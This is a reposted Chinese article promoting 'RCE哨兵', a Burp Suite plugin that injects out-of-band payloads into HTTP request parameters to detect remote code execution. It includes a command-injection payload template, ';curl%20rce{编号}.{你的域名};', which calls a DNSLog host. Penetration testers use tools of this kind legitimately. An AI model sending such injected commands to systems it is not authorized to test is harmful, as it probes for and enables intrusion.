文章总结： RCE哨兵是一款BurpSuite插件，可自动捕获HTTPGET/POST请求并对所有参数注入DNSLog外带型Payload，支持urlencoded、multipart、json等格式，具备去重、静态资源过滤、实时结果展示及一键联动Repeater功能，用于快速发现远程代码执行漏洞。
综合评分： 78
文章分类： 安全工具,WEB安全,渗透测试,漏洞POC
RCE哨兵 – 哨兵系列第一弹
原创
0xShe
安全社
2026年1月5日 21:12
中国台湾
RCE 哨兵 (RCE-SB)
一款专为 Burp Suite 设计的远程代码执行漏洞检测插件
⚠️ 解压密码
解压密码在 https://sbbbb.cn 首页的 0xShe工具 找到RCE哨兵 点击进去即可获取解压密码【如果觉得本站好用，请收藏】
📖 工具介绍
RCE 哨兵是一款高效的 Burp Suite 扩展插件，专注于检测 HTTP 请求中的潜在远程代码执行（RCE）漏洞。它能够自动捕获 GET 和 POST 请求，将用户指定的 Payload 注入到请求参数中，并生成新的测试请求。
✨ 主要特性
- 🎯 自动化测试：自动捕获并测试 HTTP 请求中的所有参数
- 🔄 双重注入模式：支持参数值替换和追加两种注入方式
- 📦 多格式支持：完美处理
application/x-www-form-urlencoded、multipart/form-data和application/json格式 - 🚫 智能过滤：自动过滤静态资源文件（js、css、图片等）
- 🔍 去重机制：避免重复测试相同的请求
- 📊 实时监控：实时显示测试结果，包括时间、URL、响应码等信息
- 🔗 联动集成：支持一键发送到 Burp Repeater 进行深度测试
🚀 使用方法
1. 配置 Payload
- 在插件标签页中找到 “RCE 哨兵”
- 在 Payload 输入框中填入你的 DNSLog 域名或外带平台域名【建议使用Burp自带的dnslog】
- 例如：
xxx.dnslog.cn或xxx.ceye.io
- 点击 “保存 Payload” 按钮
2. 启动插件
-
点击 “开启插件” 按钮
-
状态栏显示 “[+] RCE哨兵已启动”
-
开始正常浏览目标网站，插件会自动测试
3. 查看结果
- 表格中会实时显示所有测试请求
- 点击表格行可在下方查看完整的请求和响应数据包
- 右键点击表格行可将请求发送到 Repeater
📝 工作原理
- 捕获请求：监听 Burp Proxy 中的 HTTP 请求
- 参数提取：提取 GET/POST 参数，支持 URL 参数、表单数据和 JSON 数据
- Payload 注入：对每个参数生成唯一的 RCE 编号，构造测试 Payload
- 发送测试：
- 方式一：替换原参数值为恶意 Payload
- 方式二：在原参数值后追加恶意 Payload
- 结果记录：记录响应状态码、时间等信息，方便后续分析
🔧 Payload 格式
插件会自动构造如下格式的 Payload：
;curl%20rce{编号}.{你的域名};
示例：
- 配置域名：
xxx.dnslog.cn - 生成 Payload：
;curl%20rce1.xxx.dnslog.cn;
📋 支持的数据格式
- ✅ GET 请求参数
- ✅ POST application/x-www-form-urlencoded
- ✅ POST multipart/form-data
- ✅ POST application/json (支持嵌套 JSON)
⚠️ 注意事项
- 仅用于授权的安全测试，请勿用于非法用途
- 建议配合 DNSLog 或 Ceye 等外带平台使用
- 插件会自动过滤常见静态资源，减少无效请求
- 开启插件后会对所有请求进行测试，可能产生大量流量
📞 联系方式
- 公众号：安全社
- 官网：sbbbb.cn
📄 许可证
本项目仅供学习和授权测试使用，使用者需自行承担使用风险。
⚡ 让 RCE 无所遁形！
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：安全社 0xShe《RCE哨兵 – 哨兵系列第一弹》